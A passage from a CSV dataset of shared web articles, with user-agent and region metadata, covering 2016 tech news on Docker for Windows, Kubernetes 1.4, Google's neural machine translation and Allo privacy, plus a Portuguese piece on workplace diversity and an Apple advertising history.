ser julgados nem mal interpretados. Camila Crispim, de 28 anos, gay, é desenvolvedora de software na ThoughtWorks. Em empregos anteriores, evitava participar de happy hours com os colegas e oferecer carona para mulheres. Não queria que pensassem que estava assediando alguém. Uma das empresas parecia ter postura mais aberta, mas tolerava que funcionários manifestassem os preconceitos. ""Cansei de ouvir papinhos do tipo 'não sou preconceituoso, mas não quero um filho gay'"", diz. ""Vivia uma vida com a família e os amigos e outra no emprego."" No início de 2013, Camila foi contratada pela ThoughtWorks e se sentiu acolhida. ""Não aceitamos que ninguém seja chamado de 'veadinho'"", diz Taise Assis, diretora de Justiça Econômica e Social da empresa. ""Esse tipo de violência não é aceito aqui. Na primeira vez perdoamos, mas na segunda não."" Todo novo funcionário assina um contrato antiassédio e participa de uma palestra sobre diversidade. A empresa fez uma parceria com o projeto Transcidadania, da prefeitura de São Paulo, que visa à reintegração social de travestis e transexuais em situação de vulnerabilidade social. A ThoughtWorks recebeu de fevereiro a abril deste ano nove transexuais na empresa e ofereceu um curso gratuito de informática. A empresa também apoiou o desenvolvimento do site Transerviços por uma ex-funcionária transexual, que lista profissionais e empresas que não são transfóbicas. As corporações começam a descobrir as vantagens de olhar a diversidade com mais atenção. Monica Santos, do Google, acredita que a diversidade na empresa torne os funcionários mais satisfeitos, engajados e produtivos. É fato que organizações com maior diversidade na equipe tendem a lidar melhor com mecanismos de controladoria externa e chegam a soluções mais variadas para enfrentar problemas. Mesmo assim, a parcela de trabalhadores gays que não se sentem à vontade para assumir a homossexualidade diante de qualquer colega permanece grande - varia de 34% na Holanda a 92% na Índia, segundo pesquisas anuais feitas pela consultoria australiana Out Now. No Brasil, essa parcela é de 65%. A discriminação é uma violência contra direitos humanos e trabalhistas - além de provocar um monumental desperdício de energia, atenção e dinheiro.",pt
1474985039,CONTENT SHARED,-7638840925036528150,-3203894957285229214,3585854664925733577,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36",ON,CA,HTML,https://blog.docker.com/2016/09/dockerforws2016/,Introducing Docker for Windows Server 2016 - Docker Blog,"Today, Microsoft is announcing general availability of Windows Server 2016 at the Ignite conference in Atlanta. For Windows developers and IT-pros, the most exciting new Windows feature is containers, and containers on Windows Server 2016 are powered by Docker. This blog post details the technical innovations that went into making Docker containers run natively on Windows and attempts to explain the significance of the achievement. See the companion blog posts on how to build your first Windows container and the post detailing Docker Inc. and Microsoft's commercial partnership to support Docker on Windows . The first version of Docker was released in 2013, and in the 3 years since launch, Docker has completely transformed how Linux developers and ops build, ship and run apps. With Docker Engine and containers now available natively on Windows, developers and IT-pros can begin the same transformation for Windows-based apps and infrastructure and start reaping the same benefits: better security, more agility, and improved portability and freedom to move on-prem apps to the cloud. For developers and IT-pros that build and maintain heterogenous deployments with both Linux and Windows infrastructure, Docker on Windows holds even greater significance: The Docker platform now represents a single set of tools, APIs and image formats for managing both Linux and Windows apps. As Linux and Windows apps and servers are dockerized, developers and IT-pros can bridge the operating system divide with shared Docker terminology and interfaces for managing and evolving complex microservices deployments both on-prem and in the cloud. Running Containers on Windows Server Docker running containers on Windows is the result of a two-year collaboration between Microsoft that involved the Windows kernel growing containerization primitives, Docker and Microsoft collaborating on porting the Docker Engine and CLI to Windows to take advantage of those new primitives and Docker adding multi-arch image support to Docker Hub . The result is that the awesome power of docker run to quickly start a fresh and fully isolated container is now available natively on Windows: The kernel containerization features are available in all versions of Windows Server 2016, and are also on Windows 10 systems with the Anniversary Update, and the Windows-native Docker daemon runs on both Windows Server 2016 and Windows 10 (although only containers based on Windows Server build and run on Windows 10). docker run on Windows comes with the same semantics as on Linux: Full process isolation and sandboxed filesystem (and Windows Registry!) with support for layering changes. Each container sees a clean Windows system and cannot interfere with other processes (containerized or not) on the system. For example, two dockerized apps using different Internet Information Services (IIS) versions and different .NET frameworks can co-exist merrily on the same system. They can even write to their respective filesystems and registries without affecting each other. With containerization, Windows IT-pros get most of the isolation and release-artifact-stability benefits of VMs, without the resource overhead and lost agility inherent in hardware virtualization. Similar to how containers on Linux can run with different security profiles, containers on Windows run in one of two isolation modes: Windows Server Containers use the same shared-kernel process-isolation paradigm known from Linux. Since containers run as normal (but isolated) processes, startup is fast and resource overhead is minimal. With Hyper-V isolation, container processes run inside a very minimal hypervisor created during container start. This yields potentially better isolation at the cost of slower startup and some resource overhead. Isolation can be set with a simple switch passed to docker run : As long as the underlying host supports the requested isolation mode, any Windows container image can be run as either a hyper-v or server container and a container host can run both side by side. Container processes are oblivious to the isolation mode they run in, and the Docker control API is the same for both modes. This makes isolation mode not generally a developer concern and developers should use the default or what's convenient on their system. Isolation mode does give IT-pros options when choosing how to deploy containerized apps in production. Also note that, while Hyper-V is the runtime technology powering hyper-v isolation, hyper-v isolated containers are not Hyper-V VMs and cannot be managed with classic Hyper-V tools. For readers interested in details of how containers are implemented on Windows, John Starks' black belt session at DockerCon '16 is a great introduction. Building Windows Container Images Thanks to layering improvements to the Windows Registry and filesystem, docker build and Dockerfiles are fully supported for creating Windows Docker images. Below is an example Windows Dockerfile that Stefan Scherer has proposed for the Node.js official Docker library image. It can be built on Windows with docker build : Note how PowerShell is used to install and setup zip files and exes: Windows containers run Windows executables compiled for Windows APIs. To build and run a Windows container, a Windows system is required. While the Docker tools, control APIs and image formats are the same on Windows and Linux, a Docker Windows container won't run on a Linux system and vice-versa. Also note that the starting layer is microsoft/windowsservercore . Starting FROM scratch is not an option when creating Windows container images. Instead, images are based on either microsoft/windowsservercore or microsoft/nanoserver . The Windows Server Core image comes with a mostly complete userland with the processes and DLLs found on a standard Windows Server Core install. With the exception of GUI apps and apps requiring Windows Remote Desktop, most apps that run on Windows Server can be dockerized to run in an image based on microsoft/windowsservercore with minimal effort. Examples include Microsoft SQL Server , Apache , Internet Information Services (IIS) and the full .NET framework . This flexibility comes at the cost of some bulk: The microsoft/windowsservercore image takes up 10GB. Thanks to Docker's highly efficient image layering , this is not a big problem in practice. Any given Docker host only needs to pull the base layer once, and any images pulled or built on that system simply reuse the base layer. The other base layer option is Nano Server, a new and very minimal Windows version with a pared-down Windows API. Lots of software already runs on Nano Server, including IIS, the new .NET Core framework , Node.js and Go . And the Nano Server base image is an order of magnitude smaller than Windows Server Core, meaning it has less dependencies and surface area to keep updated. Nano Server is an exciting development, not only as a base for minimal containers that build and boot quickly, but also as a Minimalist Operating System that makes for a great container host OS running just the Docker daemon and containers, and nothing else. With the choice of Windows Server Core and Nano Server, developers and IT-pros can opt to lift-and-shift existing Windows-based apps into Server Core containers or adopt Nano Server for greenfield development or incrementally as part of breaking monolithic apps into microservices components. Docker is working with Microsoft and the community to build container images based on both Windows Server Core and Nano Server. Golang , Python and Mongo are available as official Docker images (more are on their way), and Microsoft also maintains a set of very popular sample images . Summary Today's announcement of Docker Engine building, running and managing containers on Windows is the fruit of years of labor by teams at both Microsoft and Docker and by the Docker community. We're incredibly proud of the work we've done with Microsoft to bring the benefits of containerization to Windows developers and IT-pros, and we're excited about the prospect of getting Windows and Linux technologists building, shipping and running apps together with a common set of tools and APIs. Here are some resources to help you get started",en
1474991327,CONTENT SHARED,-1676378465482420452,5660542693104786364,3377959081859050551,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://newsroom.bankofamerica.com/press-releases/corporate-and-investment-banking-sales-and-trading-treasury-services/microsoft-and-ba,Microsoft and Bank of America Merrill Lynch Collaborate to Transform Trade Finance Transacting With Azure Blockchain as a Service,"Today at Sibos, an annual conference organized by SWIFT for the financial industry, Microsoft Corp. and Bank of America Merrill Lynch announced a collaboration on blockchain technology to fuel transformation of trade finance transacting. As part of this collaboration, the two companies will build and test technology, create frameworks, and establish best practices for blockchain-powered exchanges between businesses and their customers and banks. Microsoft Treasury experts will serve as advisors and initial test clients, establishing the first Microsoft Azure-powered blockchain transaction between a major corporate treasury and financial institution. ""By working with Bank of America Merrill Lynch on cloud-based blockchain technology, we aim to increase efficiency and reduce risk in our own treasury operations,"" said Amy Hood, executive vice president and chief financial officer at Microsoft. ""Businesses across the globe - including Microsoft - are undergoing digital transformation to grow, compete, and be more agile, and we see significant potential for blockchain to drive this transformation."" Currently, underlying trade finance processes are highly manual, time-consuming and costly. With blockchain, processes can be digitized and automated, transaction settlement times shortened, and business logic applied to related data, creating a host of potential benefits for businesses and financial institutions including: more predictable working capital, reduced counterparty risk, improved operational efficiency, and enhanced audit transparency, among other benefits. ""The potential benefits of blockchain will help drive meaningful supply chain efficiencies to the clients of both Microsoft and the bank. This project is another example of our continued commitment to introduce financial innovations for the betterment of global commerce,"" said Ather Williams, head of Global Transaction Services at Bank of America Merrill Lynch. ""We are excited to be working with Microsoft on this groundbreaking blockchain proof of concept that has the potential to help redefine, digitize, and improve how trade finance instruments are executed today,"" said Percy Batliwalla, head of Global Trade and Supply Chain Finance at Bank of America Merrill Lynch. Microsoft Azure Blockchain as a Service was first introduced in November 2015. The global scale, hybrid cloud capabilities, extensive compliance certification portfolio, and enterprise-proven security of Azure provide businesses with confidence and choice, especially in highly regulated industries like financial services, health care and government. More than 80 percent of the world's largest banks are Azure customers. Furthermore, more than 75 percent of the global systemically important financial institutions are using Azure, representing the highest bar for legal, compliance, security and acquisitions teams. Development and testing of the initial application, built to optimize the standby letter of credit process, is currently in progress. The Microsoft and Bank of America Merrill Lynch teams will demonstrate the technology at Sibos in Geneva, Switzerland. Following the initial development and testing, the teams will work to refine the technology and evaluate applications to include more complex use cases and additional financial instruments. For more information on Microsoft Azure Blockchain as a Service, visit www.microsoft.com/blockchain . Bank of America Bank of America is one of the world's leading financial institutions, serving individual consumers, small and middle-market businesses and large corporations with a full range of banking, investing, asset management and other financial and risk management products and services. The company provides unmatched convenience in the United States, serving approximately 47 million consumer and small business relationships with approximately 4,700 retail financial centers, approximately 16,000 ATMs, and award-winning online banking with approximately 33 million active accounts and more than 20 million mobile active users. Bank of America is a global leader in wealth management, corporate and investment banking and trading across a broad range of asset classes, serving corporations, governments, institutions and individuals around the world. Bank of America offers industry-leading support to approximately 3 million small business owners through a suite of innovative, easy-to-use online products and services. The company serves clients through operations in all 50 states, the District of Columbia, the U.S. Virgin Islands, Puerto Rico and more than 35 countries. Bank of America Corporation stock (NYSE: BAC) is listed on the New York Stock Exchange. Bank of America Merrill Lynch is the marketing name for the global banking and global markets businesses of Bank of America Corporation. Lending, derivatives, and other commercial banking activities are performed globally by banking affiliates of Bank of America Corporation, including Bank of America, N.A., Member FDIC. Securities, strategic advisory, and other investment banking activities are performed globally by investment banking affiliates of Bank of America Corporation (""Investment Banking Affiliates""), including, in the United States, Merrill Lynch, Pierce, Fenner & Smith Incorporated and Merrill Lynch Professional Clearing Corp., all of which are registered broker-dealers and Members of SIPC , and, in other jurisdictions, by locally registered entities. Merrill Lynch, Pierce, Fenner & Smith Incorporated and Merrill Lynch Professional Clearing Corp. are registered as futures commission merchants with the CFTC and are members of the NFA. Investment products offered by Investment Banking Affiliates: Are Not FDIC Insured * May Lose Value * Are Not Bank Guaranteed. Visit the Bank of America newsroom for more Bank of America news . About Microsoft Microsoft (Nasdaq ""MSFT"" @microsoft) is the leading platform and productivity company for the mobile-first, cloud-first world, and its mission is to empower every person and every organization on the planet to achieve more. ### Reporters May Contact: Bank of America Merrill Lynch: Louise Hennessy (U.S.), 1.415.913.3641, louise.hennessy@bankofamerica.com Elizabeth Wood (Europe), 44.07766.497.294, elizabeth.wood@baml.com Microsoft: WE Communications, 1.503.443.7070, Microsoft Media Relations",en
1474992827,CONTENT SHARED,-1150591229250318592,6960073744377754728,7794013629444506686,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",GA,US,HTML,https://medium.com/posted-by-sypartners/digitization-and-the-loss-of-iconography-3f8a1624981c,Digitization and The Loss of Iconography - Posted by SYPartners,"It's not the first time iconography has changed due to advances in technology. But it is the first time that so many functions have converged into one physical thing. To communicate art (which is complex and hard to define as it is), it was once common to use a paint brush, a palette, a canvas, maybe even a picture frame. But now, so much art is produced digitally. The process of an artist looks the same as the process of a banker (just with different software): Someone sitting in front of a big computer screen, at a desk or a table, with a keyboard, a mouse, maybe a tablet. It makes me think of the board game, The Game of Life . It was created in 1860 by Milton Bradley, who was then known for a lithograph he made of a beardless Abraham Lincoln. Once Lincoln grew a beard, however, Bradley's portrait lost its luster: Everyone began to associate Lincoln with his beard. (Talk about a change of meaning in imagery! Lincoln will now always have a beard until the end of time-a conclusive imprint in our minds of what he looked like, no matter how long he actually had one.) Bradley turned to board games for his next interest. The Game of Life was meant to mirror life events like getting married, going to college, raising a family, working, buying a home. The most recent version of the game has updated careers based on what kids voted for. The game features professions like Inventor, Secret Agent, Fashion Designer. Inventor is signified by a pencil sketch of a rocket ship, and coffee (as if that's what inventing looks like). For Secret Agent, a magnifying glass, a briefcase, a disguise. What does that have to do with the reality of being a secret agent? Don't magnifying glasses exist on our phones, or our 'device,' as flight attendants refer to it? Julian Assange wasn't a ""secret agent,"" but he was a pretty serious hacker. And he did his work sitting in front of a computer - like I am right now, typing this, and like you may be while reading this. And what about jobs that didn't exist 10 years ago? A Market Research Data Miner. A Millennial Generational Expert. Social Media Manager. What do those look like? What images conjure up fantasies to kids wondering what they'll be when they grow up? What would those illustrations look like in The Game of Life ?",en
1474993822,CONTENT SHARED,-2487699318115820990,-1479311724257856983,5693827395561674937,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36",SP,BR,HTML,http://tech.firstpost.com/news-analysis/google-saves-allo-conversations-a-win-for-machine-learning-but-a-loss-for-privacy-336464.html,"Google saves Allo conversations, a win for machine learning but a loss for privacy - Tech2","Google has been teasing Allo , an instant messaging platform since their I/O conference for developers earlier this year. Allo launched earlier today , and is available on the Play store as of now. The disruptive new addition is an intelligent agent called Google Assistant. Addressing the Assistant through the chat in the Allo app, by sending a message to @google allows for richer and faster conversations. As against chatbots in other messaging platforms such as Telegram or Messenger, everyone in the chatbox can see the results of a Google Assistant query. This makes planning trips or deciding a movie to watch easier. Anyone in the group can click through and select from a range of results, instead of the agent delivering a range of results, out of which one is picked to be put into the chat. These search results, and the constant interaction with Google Assistant is meant to improve the experience of using Google. Google Assistant is soon going to be available in more products, and in languages other than English. However, the machine learning being used to improve Google Assistant means that the database of conversations between users are encrypted and saved in Google servers. This is used by the neural networks at Google to improve the experience, deliver better results, and display more targeted ads. The fact that these conversations are saved in Google servers is a departure from prior plans, announced at I/O, that Google would not be persistently saving these conversations. According to a report in the Verge , this decision was taken by Google engineers after balancing the advantages of machine learning against the disadvantages of reduced privacy. For users, this means that Google will be able to comply with requests of interception of the data by official Government agencies. There is an incognito mode, where the messages are not persistently stored on Google servers. Users can also manually delete chats to remove them from Google's database. For those concerned about security and privacy, Google's Allo has a less private implementation than other messaging services. For example, recently, WhatsApp told the Delhi High Court , that they do not have access to user data, as the conversations have end to end encryption enabled, and are not stored on WhatsApp servers.",en
1475017839,CONTENT SHARED,8900292750226176660,-1443636648652872475,-2939622877864380223,Android - Native Mobile App,SP,BR,HTML,https://research.googleblog.com/2016/09/a-neural-network-for-machine.html,"A Neural Network for Machine Translation, at Production Scale","Ten years ago, we announced the launch of Google Translate , together with the use of Phrase-Based Machine Translation as the key algorithm behind this service. Since then, rapid advances in machine intelligence have improved our speech recognition and image recognition capabilities, but improving machine translation remains a challenging goal. Today we announce the Google Neural Machine Translation system (GNMT), which utilizes state-of-the-art training techniques to achieve the largest improvements to date for machine translation quality. Our full research results are described in a new technical report we are releasing today: "" Google's Neural Machine Translation System: Bridging the Gap between Human and Machine Translation "" [1]. A few years ago we started using Recurrent Neural Networks (RNNs) to directly learn the mapping between an input sequence (e.g. a sentence in one language) to an output sequence (that same sentence in another language) [2]. Whereas Phrase-Based Machine Translation (PBMT) breaks an input sentence into words and phrases to be translated largely independently, Neural Machine Translation (NMT) considers the entire input sentence as a unit for translation.The advantage of this approach is that it requires fewer engineering design choices than previous Phrase-Based translation systems. When it first came out, NMT showed equivalent accuracy with existing Phrase-Based translation systems on modest-sized public benchmark data sets. Since then, researchers have proposed many techniques to improve NMT, including work on handling rare words by mimicking an external alignment model [3], using attention to align input words and output words [4] and breaking words into smaller units to cope with rare words [5,6]. Despite these improvements, NMT wasn't fast or accurate enough to be used in a production system, such as Google Translate. Our new paper [1] describes how we overcame the many challenges to make NMT work on very large data sets and built a system that is sufficiently fast and accurate enough to provide better translations for Google's users and services. The following visualization shows the progression of GNMT as it translates a Chinese sentence to English. First, the network encodes the Chinese words as a list of vectors, where each vector represents the meaning of all words read so far (""Encoder""). Once the entire sentence is read, the decoder begins, generating the English sentence one word at a time (""Decoder""). To generate the translated word at each step, the decoder pays attention to a weighted distribution over the encoded Chinese vectors most relevant to generate the English word (""Attention""; the blue link transparency represents how much the decoder pays attention to an encoded word). Using human-rated side-by-side comparison as a metric, the GNMT system produces translations that are vastly improved compared to the previous phrase-based production system. GNMT reduces translation errors by more than 55%-85% on several major language pairs measured on sampled sentences from Wikipedia and news websites with the help of bilingual human raters. In addition to releasing this research paper today, we are announcing the launch of GNMT in production on a notoriously difficult language pair: Chinese to English. The Google Translate mobile and web apps are now using GNMT for 100% of machine translations from Chinese to English-about 18 million translations per day. The production deployment of GNMT was made possible by use of our publicly available machine learning toolkit TensorFlow and our Tensor Processing Units (TPUs), which provide sufficient computational power to deploy these powerful GNMT models while meeting the stringent latency requirements of the Google Translate product. Translating from Chinese to English is one of the more than 10,000 language pairs supported by Google Translate, and we will be working to roll out GNMT to many more of these over the coming months. Machine translation is by no means solved. GNMT can still make significant errors that a human translator would never make, like dropping words and mistranslating proper names or rare terms, and translating sentences in isolation rather than considering the context of the paragraph or page. There is still a lot of work we can do to serve our users better. However, GNMT represents a significant milestone. We would like to celebrate it with the many researchers and engineers-both within Google and the wider community-who have contributed to this direction of research in the past few years. Acknowledgements: We thank members of the Google Brain team and the Google Translate team for the help with the project. We thank Nikhil Thorat and the Big Picture team for the visualization. References: [1] Google's Neural Machine Translation System: Bridging the Gap between Human and Machine Translation , Yonghui Wu, Mike Schuster, Zhifeng Chen, Quoc V. Le, Mohammad Norouzi, Wolfgang Macherey, Maxim Krikun, Yuan Cao, Qin Gao, Klaus Macherey, Jeff Klingner, Apurva Shah, Melvin Johnson, Xiaobing Liu, Łukasz Kaiser, Stephan Gouws, Yoshikiyo Kato, Taku Kudo, Hideto Kazawa, Keith Stevens, George Kurian, Nishant Patil, Wei Wang, Cliff Young, Jason Smith, Jason Riesa, Alex Rudnick, Oriol Vinyals, Greg Corrado, Macduff Hughes, Jeffrey Dean. Technical Report, 2016. [2] Sequence to Sequence Learning with Neural Networks , Ilya Sutskever, Oriol Vinyals, Quoc V. Le. Advances in Neural Information Processing Systems, 2014. [3] Addressing the rare word problem in neural machine translation , Minh-Thang Luong, Ilya Sutskever, Quoc V. Le, Oriol Vinyals, and Wojciech Zaremba. Proceedings of the 53th Annual Meeting of the Association for Computational Linguistics, 2015. [4] Neural Machine Translation by Jointly Learning to Align and Translate , Dzmitry Bahdanau, Kyunghyun Cho, Yoshua Bengio. International Conference on Learning Representations, 2015. [5] Japanese and Korean voice search , Mike Schuster, and Kaisuke Nakajima. IEEE International Conference on Acoustics, Speech and Signal Processing, 2012. [6] Neural Machine Translation of Rare Words with Subword Units , Rico Sennrich, Barry Haddow, Alexandra Birch. Proceedings of the 54th Annual Meeting of the Association for Computational Linguistics, 2016.",en
1475038611,CONTENT SHARED,6817244649248188271,3609194402293569455,-4680723896164785901,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,http://imasters.com.br/cursos/webinars/desenvolvimento-de-aplicativos-mobile-com-xamarin/,Desenvolvimento de Aplicativos Mobile com Xamarin -,"Desenvolvimento em multiplataforma utilizando Xamarin e C# para iOS, Android e Windows Phone. O objetivo do curso é capacitar o aluno para desenvolvimento de aplicações multiplataforma mobile utilizando a proposta multiplataform e de reaproveitamento de código com o Xamarin e C# para Android, Windows Phone e iOS",pt
1475061517,CONTENT SHARED,-885886002174762919,1374824663945909617,-6658473277104506162,Android - Native Mobile App,SP,BR,HTML,https://www.infoq.com/news/2016/09/onion-iot-linux-computer,"Onion Creates a $5 Linux Computer with Wi-Fi, Designed for IoT Applications","Onion has produced a $5 tiny Linux computer that supports JavaScript, Python, PHP and more. In its KickStarter campaign , Onion calls the Omega2 the ""World's smallest Linux server, with Wi-Fi built-in."" John Biggs, writing on TechCrunch after seeing the Omega2, said: I saw this teeny board in the flesh in Columbus and was pretty impressed. To get a command line on something this tiny is pretty cool and the fact that it's completely modular and self-contained is incredible. Obviously you need some programming skills and some extras to get at the heart of this bugger but it's a fun way to start hardware hacking. ComputerWorld reports that: A base Omega2 model comes with 64MB of RAM and 16MB of flash storage; a $9 ""Plus"" model has 128MB RAM and 32MB storage, along with a MicroSD slot for additional storage capacity. Both computers use a 580MHz CPU. Wayne Williams, writing in BetaNews, compares the Omega2 with the Raspberry Pi Zero, noting that ""Omega2 is an identically priced Linux computer designed for building connected hardware applications, but unlike the Zero it has integrated Wi-Fi (802.11 b/g/n) and on-board flash storage. No need to add a Wi-Fi dongle or SD card."" ZDNet notes that, while the Raspberry Pi Zero: appears to win on paper, Onion bills the Omega2 as the simplest dev board on the market, thanks to its built-in Wi-Fi module and flash storage. Onion has also developed a number of services to make the board easier to develop with, with various apps available from its Onion App Store. It also supports the Node-RED software tool, which allows users to create programs using a drag and drop interface. When it comes to coding, the board supports widely-used programming languages such as Ruby, Python, PHP, Perl, JavaScript (Node.js), and Bash. The Onion Library Documentation includes information on programming the device using C, Python, Node.JS, and the Arduino Dock Libraries. The Omega2 is still in development, with general availability expected in November. It can be preordered from Onion's Kickstarter and Indiegogo pages.",en
1475065431,CONTENT SHARED,6006800146436649545,-8020832670974472349,-2282607730720678445,Android - Native Mobile App,SP,BR,HTML,http://www.zdnet.com/article/kubernetes-1-4-one-devops-tool-to-rule-all-the-containers/,​Kubernetes 1.4: One DevOps tool to rule all the containers | ZDNet,"Containers, such as Docker, are IT's future. The program that will manage these containers is still an open question. The way things are developing, Google's open-source Kubernetes has to be considered the front runner. It's being adopted by more and more Linux distributions, container technology's primary platform. Canonical , Red Hat , and SUSE are all betting Kubernetes will be containers' DevOps future. Why? Well, the new features and improvements in the Kubernetes 1.4 release go a long way to explaining its popularity. For starters, this version of Kubernetes is much easier to install and use. For example, the new Kubernetes Dashboard UI comes with 90 percent of command line interface functionality with at-a-glance management. There's more to this update, however, than just making Kubernetes more approachable. You can also now create clusters easily with kubeadm . This reduces bootstrapping to two commands, with no complex scripts involved. Once Kubernetes is installed, kubeadm init starts the master, while kubeadm join the nodes to the cluster. Installation has also been streamlined by packaging Kubernetes with its dependencies, for most major Linux distributions including Red Hat Enterprise Linux (RHEL) and Ubuntu 16.04 . This means users can now install Kubernetes using familiar tools such as apt-get and yum. Beyond top line installation and management, Kubernetes now includes the following valuable features. Expanded stateful application support - While cloud-native applications are built to run in containers, many existing applications need additional features to run in containers. Most commonly, stateful applications such as batch processing, databases and key-value stores don't come container-ready. To make it easier to run such programs, Kubernetes now includes: ScheduledJob is introduced as Alpha so users can run batch jobs at regular intervals. Init-containers, a beta feature, runs one or more containers before starting the main application. This can be used, for example, to sequence dependencies when starting a database or multi-tier app. Dynamic PVC Provisionin moved to beta. This feature now enables cluster administrators to expose multiple storage provisioners and allows users to select them using a new Storage Class API object. Curated and pre-tested Helm charts for common stateful applications such as MariaDB , MySQL , and Jenkins will be available for one-command launches. This uses the Helm Package Manager, version 2. Cluster federation API addition s - With this update you can now build applications with clusters that span regions and clouds. This works using the following beta functions: Federated Replica Sets - Replicas can now span some or all clusters enabling cross region or cross cloud replication. The total federated replica count and relative cluster weights/replica counts are continually reconciled by a federated replica-set controller to ensure you have the pods you need in each region/cloud Federated Ingress - Finally starting with Google Cloud Platform (GCP) , users can create a single Layer 7 globally load-balanced virtual IP address (VIP). This enables users to span services deployed across a GCP federation of clusters. With Federated Ingress in GCP, external clients point to a single IP address and are sent to the closest cluster with usable capacity in any region or zone of the federation in GCP. Container security support has also been improved. As major Kubernetes supporter CoreOS 's technical program manager Caleb Miles wrote, ""Convincing users to enable enhanced security features begins with a seamless user experience. Experience has shown that advanced security is often disabled if it impedes other goals."" The new Kubernetes does that. In addition, multi-tenant clusters administrators can now provide varying sets of permissions among tenants, infrastructure components, and system end-users. These new security features include: Pod Security Policy is a new object that enables cluster administrators to control the creation and validation of security contexts for pods/containers. Admins can associate service accounts, groups, and users with a set of constraints to define a security context. AppArmor support has been added. This enables admins to run a more secure deployment, and provide better auditing and monitoring of their systems. Users can configure a container to run in an AppArmor profile by setting a single field. The list goes on, but the bottom line is clear: Kubernetes is answering the corporate need for a complete, soup-to-nuts container management system. Want to see for yourself? Kubernetes 1.4 is available for download at get.k8s.io and via its GitHub open-source repository. To get started with Kubernetes, try the Hello World app . I hope its rivals, such as Docker Swarm and Mesosphere DC/OS , rise to its challenge. That way, no matter which system eventually becomes the dominant container DevOps system, we'll all be the better for it. Related Stories:",en
1475068150,CONTENT SHARED,-3231932874544830919,22763587941636338,3826078968063404833,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36",MG,BR,HTML,http://conteudo.startse.com.br/siliconvalley/felipe/facebook-vai-lancar-sua-nova-rede-social-corporativa-no-mes-que-vem/,Facebook vai lançar sua nova rede social corporativa no mês que vem,"A ferramenta está em teste desde 2015 e tem grandes clientes, como o Royal Bank of Scotland - com mais de 100.000 funcionários Que o Facebook vem trabalhando em uma rede social corporativa não é segredo para ninguém. A companhia vem trabalhando neste produto há pelo menos dois anos - desde 2014. E ele pode vir no mês que vem, de acordo com o site The Information . A rede social de Mark Zuckerberg espera conseguir criar um produto que mantenha os funcionários das companhias engajados com o produto e deverá cobrar uma taxa por usuário ativo por mês. Deverá haver integrações e parcerias com outras ferramentas corporativas, principalmente as de SaaS. Assim, se o produto não pegar com todo mundo, o preço a ser pago pela companhia é baixo. A ferramenta está em teste desde 2015 e já tem grandes clientes, como o Royal Bank of Scotland - com mais de 100.000 funcionários. A companhia deverá competir com outros grandes produtos, como Slack e Skype, da Microsoft e deverá ter um preço razoável (cerca de US$ 10 por usuário). A grande vantagem é a existência de um feed de funcionários, onde pode-se discutir coisas e dar tarefas para pessoas. Além disso, será um produto muito familiar, o que pode fazer as pessoas adotarem com muito mais facilidade do que a maiorias de seus concorrentes. Além disso, é uma excelente forma do Facebook de diversificar suas receitas além de anúncios, ajudando a companhia a lucrar cada vez mais sem ter inundar seus consumidores com milhares de propagandas e transformar a rede social em desinteressante.",pt
1475072928,CONTENT SHARED,-7442296890640709658,-709287718034731589,6445215500336544404,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.11 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.11",SP,BR,HTML,http://www.cultofmac.com/447012/today-in-apple-history-heres-to-the-crazy-ones/,Today in Apple history: 'Here's to the crazy ones...' | Cult of Mac,"""Think Different"" launched on this day in 1997. Photo: Apple September 28, 1997: Apple debuts its iconic ""Think Different"" television commercial, complete with accompanying print ads. The most famous tagline in Apple history, the line doesn't just articulate how Apple is different from other computer companies - but also how Apple under the leadership of Steve Jobs will differ from the floundering, money-losing Apple of the earlier 1990s. ""Think Different"" didn't just mark the return of Jobs to Apple. It was also the first Apple ad produced by ad agency TBWA Chiat/Day in more than a decade - with the company having been ditched following its infamous ""Lemmings"" commercial in 1985, the same year Jobs departed Apple. In the most cynical terms possible, it was a stalling tactic for Apple: a way to try and convince shareholders and customers (or would-be) customers that things were going to be different under Jobs, despite the company not yet having any new products to reveal. While Jobs' return was viewed with excitement by most fans, it also didn't go unnoticed that the most significant thing Jobs had done so far in his Apple return was to announce one of the biggest quarterly losses in Apple history . Unlike most things which come out of Apple as finished products with no forewarning, Apple had actually tried out the ""Think Different"" line earlier that year. Call it a lack of confidence, or just a savvy move to make it seem less marketing slogan more grass-roots spontaneity, but ""Think Different"" was, well, different. As I detailed in a "" Today in Apple history "" installment back in August, despite the campaign not being finished at the time, Jobs tried out the phrase in front of an audience at the 1997 MacWorld Expo. In doing so, as I wrote at the time, he was, ""planting the seeds for the ad so that it would seem more organic when Apple debuted the [finished spots.]"" The ad copy itself was the work of copywriters Rob Siltanen and Ken Segall, the latter of whom also named the iMac . The ""Think Different"" line itself came from Craig Tanimoto, who also had the idea of pairing up Apple with different thinkers of the 20th century. This wasn't entirely new territory for Apple: its ""Power is..."" ads from a couple of years earlier had already used endorsers like Hunter S. Thompson . Jobs himself was persuaded to record a version of the ad narration, but didn't allow it to air for fear that people would consider it arrogant. As an interesting note of trivia, Steve Jobs originally wanted to use one of Robin Williams' inspirational speeches from the move Dead Poets Society for the commercial, until Siltanen and Segall were able to write the ""Here's to the crazy ones..."" copy. This idea clearly stuck around with someone at Apple, however, because Apple wound up using this audio sample for one of its ""Your Verse"" ads for iPad in 2014. The ""Think Different"" campaign was officially discontinued by Apple with the arrival of the iMac G4 in 2002. However, its impact continues to be felt to this day - as a kind of guiding light mission statement, similar to the Apple Values of the 1980s. Tim Cook, for instance, keeps a copy of one of the original ""Think Different"" ads in his office , while this year Apple updated the trademark with a European Patent and Trademark Office filing for the first time since 2009 . (Although people should be advised not to argue with Phil Schiller that 2016-era Apple is anything like Apple circa 1997 !) What's your favorite Apple commercial? Do you think Apple still lives up to its ""Think Different"" mantra? Leave your comments below.",en
